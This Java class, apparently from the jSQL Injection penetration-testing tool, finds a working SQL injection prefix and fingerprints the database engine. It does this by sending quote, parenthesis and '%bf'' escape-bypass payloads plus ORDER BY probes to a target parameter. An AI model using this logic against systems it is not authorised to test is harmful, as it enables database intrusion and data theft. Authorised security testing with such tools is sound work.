1 package com.jsql.model.suspendable;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.util.CookiesUtil;
5 import com.jsql.util.JsonUtil;
6 import com.jsql.view.subscriber.Seal;
7 import com.jsql.model.exception.JSqlException;
8 import com.jsql.model.exception.StoppedByUserSlidingException;
9 import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10 import com.jsql.model.injection.engine.MediatorEngine;
11 import com.jsql.model.injection.engine.model.Engine;
12 import com.jsql.model.suspendable.callable.CallablePageSource;
13 import com.jsql.util.I18nUtil;
14 import com.jsql.util.LogLevelUtil;
15 import org.apache.commons.lang3.RandomStringUtils;
16 import org.apache.commons.lang3.StringUtils;
17 import org.apache.logging.log4j.LogManager;
18 import org.apache.logging.log4j.Logger;
19
20 import java.util.*;
21 import java.util.concurrent.CompletionService;
22 import java.util.concurrent.ExecutionException;
23 import java.util.concurrent.ExecutorCompletionService;
24 import java.util.concurrent.ExecutorService;
25 import java.util.regex.Pattern;
26 import java.util.stream.Stream;
27
28
29
30
31
32
33
34
35
36 public class SuspendableGetCharInsertion extends AbstractSuspendable {
37
38 private static final Logger LOGGER = LogManager.getRootLogger();
39 private final String parameterOriginalValue;
40
41 public SuspendableGetCharInsertion(InjectionModel injectionModel, String parameterOriginalValue) {
42 super(injectionModel);
43 this.parameterOriginalValue = parameterOriginalValue;
44 }
45
46 @Override
47 public String run(Input input) throws JSqlException {
48 String characterInsertionByUser = input.payload();
49
50 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetInsertionCharacter");
51 CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
52
53 var characterInsertionFoundOrByUser = new String[1];
54 characterInsertionFoundOrByUser[0] = characterInsertionByUser;
55 List<String> charactersInsertionForOrderBy = this.initCallables(taskCompletionService, characterInsertionFoundOrByUser);
56
57 var mediatorEngine = this.injectionModel.getMediatorEngine();
58 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "[Step 3] Fingerprinting database and prefix using ORDER BY...");
59
60 String charFromOrderBy = null;
61
62 int total = charactersInsertionForOrderBy.size();
63 while (0 < total) {
64 if (this.isSuspended()) {
65 throw new StoppedByUserSlidingException();
66 }
67 try {
68 CallablePageSource currentCallable = taskCompletionService.take().get();
69 total--;
70 String pageSource = currentCallable.getContent();
71
72 List<Engine> enginesOrderByMatches = this.getEnginesOrderByMatch(mediatorEngine, pageSource);
73 if (!enginesOrderByMatches.isEmpty()) {
74 if (this.injectionModel.getMediatorEngine().getEngineByUser() == this.injectionModel.getMediatorEngine().getAuto()) {
75 this.setEngine(mediatorEngine, enginesOrderByMatches);
76 this.injectionModel.sendToViews(new Seal.ActivateEngine(mediatorEngine.getEngine()));
77 }
78
79 charFromOrderBy = currentCallable.getCharacterInsertion();
80 String finalCharFromOrderBy = charFromOrderBy;
81 LOGGER.log(
82 LogLevelUtil.CONSOLE_SUCCESS,
83 "Found prefix [{}] using ORDER BY and compatible with Error strategy",
84 () -> SuspendableGetCharInsertion.format(finalCharFromOrderBy)
85 );
86 break;
87 }
88 } catch (InterruptedException e) {
89 LOGGER.log(LogLevelUtil.IGNORE, e, e);
90 Thread.currentThread().interrupt();
91 } catch (ExecutionException e) {
92 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
93 }
94 }
95 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
96 if (charFromOrderBy == null && characterInsertionFoundOrByUser[0] != null) {
97 charFromOrderBy = characterInsertionFoundOrByUser[0];
98 }
99 return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
100 }
101
102 private void setEngine(MediatorEngine mediatorEngine, List<Engine> enginesOrderByMatches) {
103 if (
104 enginesOrderByMatches.size() == 1
105 && enginesOrderByMatches.getFirst() != mediatorEngine.getEngine()
106 ) {
107 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
108 } else if (enginesOrderByMatches.size() > 1) {
109 if (enginesOrderByMatches.contains(mediatorEngine.getPostgres())) {
110 mediatorEngine.setEngine(mediatorEngine.getPostgres());
111 } else if (enginesOrderByMatches.contains(mediatorEngine.getMysql())) {
112 mediatorEngine.setEngine(mediatorEngine.getMysql());
113 } else {
114 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
115 }
116 }
117 }
118
119 private List<Engine> getEnginesOrderByMatch(MediatorEngine mediatorEngine, String pageSource) {
120 return mediatorEngine.getEnginesForFingerprint()
121 .stream()
122 .filter(engine -> engine != mediatorEngine.getAuto())
123 .filter(engine -> StringUtils.isNotEmpty(
124 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
125 ))
126 .filter(engine -> {
127 Optional<String> optionalOrderByErrorMatch = Stream.of(
128 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
129 .split("[\\r\\n]+")
130 )
131 .filter(errorMessage ->
132 Pattern
133 .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
134 .matcher(pageSource)
135 .matches()
136 )
137 .findAny();
138 if (optionalOrderByErrorMatch.isPresent()) {
139 LOGGER.log(
140 LogLevelUtil.CONSOLE_SUCCESS,
141 "Found [{}] using ORDER BY",
142 engine
143 );
144 }
145 return optionalOrderByErrorMatch.isPresent();
146 })
147 .toList();
148 }
149
150 private List<String> initCallables(CompletionService<CallablePageSource> completionService, String[] characterInsertionFoundOrByUser) throws JSqlException {
151 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "[Step 2] Fingerprinting prefix using boolean match...");
152
153 List<String> prefixValues = List.of(
154 RandomStringUtils.secure().next(10, "012"),
155 StringUtils.EMPTY,
156 "1"
157 );
158 List<String> prefixQuotes = List.of(
159 "'",
160 StringUtils.EMPTY,
161 "`",
162 "\"",
163 "%bf'"
164 );
165 List<String> prefixParentheses = List.of(
166 StringUtils.EMPTY,
167 ")",
168 "))"
169 );
170 List<String> charactersInsertionForOrderBy = this.findWorkingPrefix(
171 prefixValues,
172 prefixQuotes,
173 prefixParentheses,
174 characterInsertionFoundOrByUser
175 );
176 this.submitCallables(completionService, charactersInsertionForOrderBy);
177 return charactersInsertionForOrderBy;
178 }
179
180 private List<String> findWorkingPrefix(
181 List<String> prefixValues,
182 List<String> prefixQuotes,
183 List<String> prefixParentheses,
184 String[] characterInsertionFoundOrByUser
185 ) throws JSqlException {
186 List<String> charactersInsertionForOrderBy = new ArrayList<>();
187 for (String value: prefixValues) {
188 for (String quote: prefixQuotes) {
189 for (String parenthesis: prefixParentheses) {
190 String prefix = this.buildPrefix(value, quote, parenthesis);
191 if (this.checkInsertionChar(
192 characterInsertionFoundOrByUser,
193 charactersInsertionForOrderBy,
194 prefix
195 )) {
196 return charactersInsertionForOrderBy;
197 }
198 }
199 }
200 }
201 return charactersInsertionForOrderBy;
202 }
203
204 private void submitCallables(CompletionService<CallablePageSource> completionService, List<String> charactersInsertionForOrderBy) {
205 for (String characterInsertion: charactersInsertionForOrderBy) {
206 completionService.submit(
207 new CallablePageSource(
208 characterInsertion.replace(
209 InjectionModel.STAR,
210 StringUtils.SPACE
211 + this.injectionModel.getMediatorEngine().getEngine().instance().sqlOrderBy()
212 ),
213 characterInsertion,
214 this.injectionModel,
215 "prefix#orderby"
216 )
217 );
218 }
219 }
220
221 private String buildPrefix(String value, String quote, String parenthesis) {
222 var prefixValueAndQuote = value + quote;
223 var requiresSpace = prefixValueAndQuote.matches(".*\\w$") && parenthesis.isEmpty();
224 return prefixValueAndQuote + parenthesis + (requiresSpace ? "%20" : StringUtils.EMPTY);
225 }
226
227 private boolean checkInsertionChar(
228 String[] characterInsertionFoundOrByUser,
229 List<String> charactersInsertionForOrderBy,
230 String prefixParenthesis
231 ) throws StoppedByUserSlidingException {
232 var isCookie = this.injectionModel.getMediatorMethod().getHeader() == this.injectionModel.getMediatorUtils().connectionUtil().getMethodInjection()
233 && this.injectionModel.getMediatorUtils().parameterUtil().getListHeader()
234 .stream()
235 .anyMatch(entry ->
236 CookiesUtil.COOKIE.equalsIgnoreCase(entry.getKey())
237 && entry.getValue().contains(InjectionModel.STAR)
238 );
239
240 var isJson = false;
241 if (StringUtils.isNotBlank(this.parameterOriginalValue)) {
242 Object jsonEntity = JsonUtil.getJson(this.parameterOriginalValue);
243 isJson = !JsonUtil.createEntries(jsonEntity, "root", null).isEmpty();
244 }
245
246 var isRawParamRequired = isJson || isCookie;
247
248 if (isRawParamRequired) {
249 charactersInsertionForOrderBy.add(characterInsertionFoundOrByUser[0].replace(
250 InjectionModel.STAR,
251 prefixParenthesis
252 + InjectionModel.STAR
253 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
254 ));
255 } else {
256 charactersInsertionForOrderBy.add(
257 prefixParenthesis
258 + InjectionModel.STAR
259 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
260 );
261 }
262
263 InjectionCharInsertion injectionCharInsertion;
264 if (isRawParamRequired) {
265 injectionCharInsertion = new InjectionCharInsertion(
266 this.injectionModel,
267 characterInsertionFoundOrByUser[0].replace(InjectionModel.STAR, prefixParenthesis),
268 characterInsertionFoundOrByUser[0].replace(InjectionModel.STAR, prefixParenthesis + InjectionModel.STAR)
269 );
270 } else {
271 injectionCharInsertion = new InjectionCharInsertion(
272 this.injectionModel,
273 prefixParenthesis,
274 prefixParenthesis + InjectionModel.STAR
275 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
276 );
277 }
278
279 if (this.isSuspended()) {
280 throw new StoppedByUserSlidingException();
281 }
282 if (injectionCharInsertion.isInjectable()) {
283 if (isRawParamRequired) {
284 characterInsertionFoundOrByUser[0] = characterInsertionFoundOrByUser[0].replace(
285 InjectionModel.STAR,
286 prefixParenthesis + InjectionModel.STAR
287 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
288 );
289 } else {
290 characterInsertionFoundOrByUser[0] = prefixParenthesis
291 + InjectionModel.STAR
292 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment();
293 }
294
295 LOGGER.log(
296 LogLevelUtil.CONSOLE_SUCCESS,
297 "Found [{}] using boolean match",
298 () -> SuspendableGetCharInsertion.format(characterInsertionFoundOrByUser[0])
299 );
300 return true;
301 }
302 return false;
303 }
304
305 private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
306 String characterInsertionDetectedFixed = characterInsertionDetected;
307 if (characterInsertionDetectedFixed == null) {
308 characterInsertionDetectedFixed = characterInsertionByUser;
309 String logCharacterInsertion = characterInsertionDetectedFixed;
310 LOGGER.log(
311 LogLevelUtil.CONSOLE_ERROR,
312 "No prefix found, forcing to [{}]",
313 () -> SuspendableGetCharInsertion.format(logCharacterInsertion)
314 );
315 } else if (
316 !SuspendableGetCharInsertion.format(characterInsertionByUser).isBlank()
317 && !SuspendableGetCharInsertion.format(characterInsertionByUser).equals(
318 SuspendableGetCharInsertion.format(characterInsertionDetectedFixed)
319 )
320 ) {
321 String finalCharacterInsertionDetectedFixed = characterInsertionDetectedFixed;
322 LOGGER.log(
323 LogLevelUtil.CONSOLE_INFORM,
324 "Found prefix [{}], disable auto search in Preferences to force [{}]",
325 () -> SuspendableGetCharInsertion.format(finalCharacterInsertionDetectedFixed),
326 () -> SuspendableGetCharInsertion.format(characterInsertionByUser)
327 );
328 } else {
329 LOGGER.log(
330 LogLevelUtil.CONSOLE_INFORM,
331 "{} [{}]",
332 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
333 () -> SuspendableGetCharInsertion.format(characterInsertionDetected)
334 );
335 }
336 return characterInsertionDetectedFixed;
337 }
338
339 public static String format(String prefix) {
340 return prefix.trim().replaceAll("(%20)?"+ Pattern.quote(InjectionModel.STAR) +".*", StringUtils.EMPTY);
341 }
342 }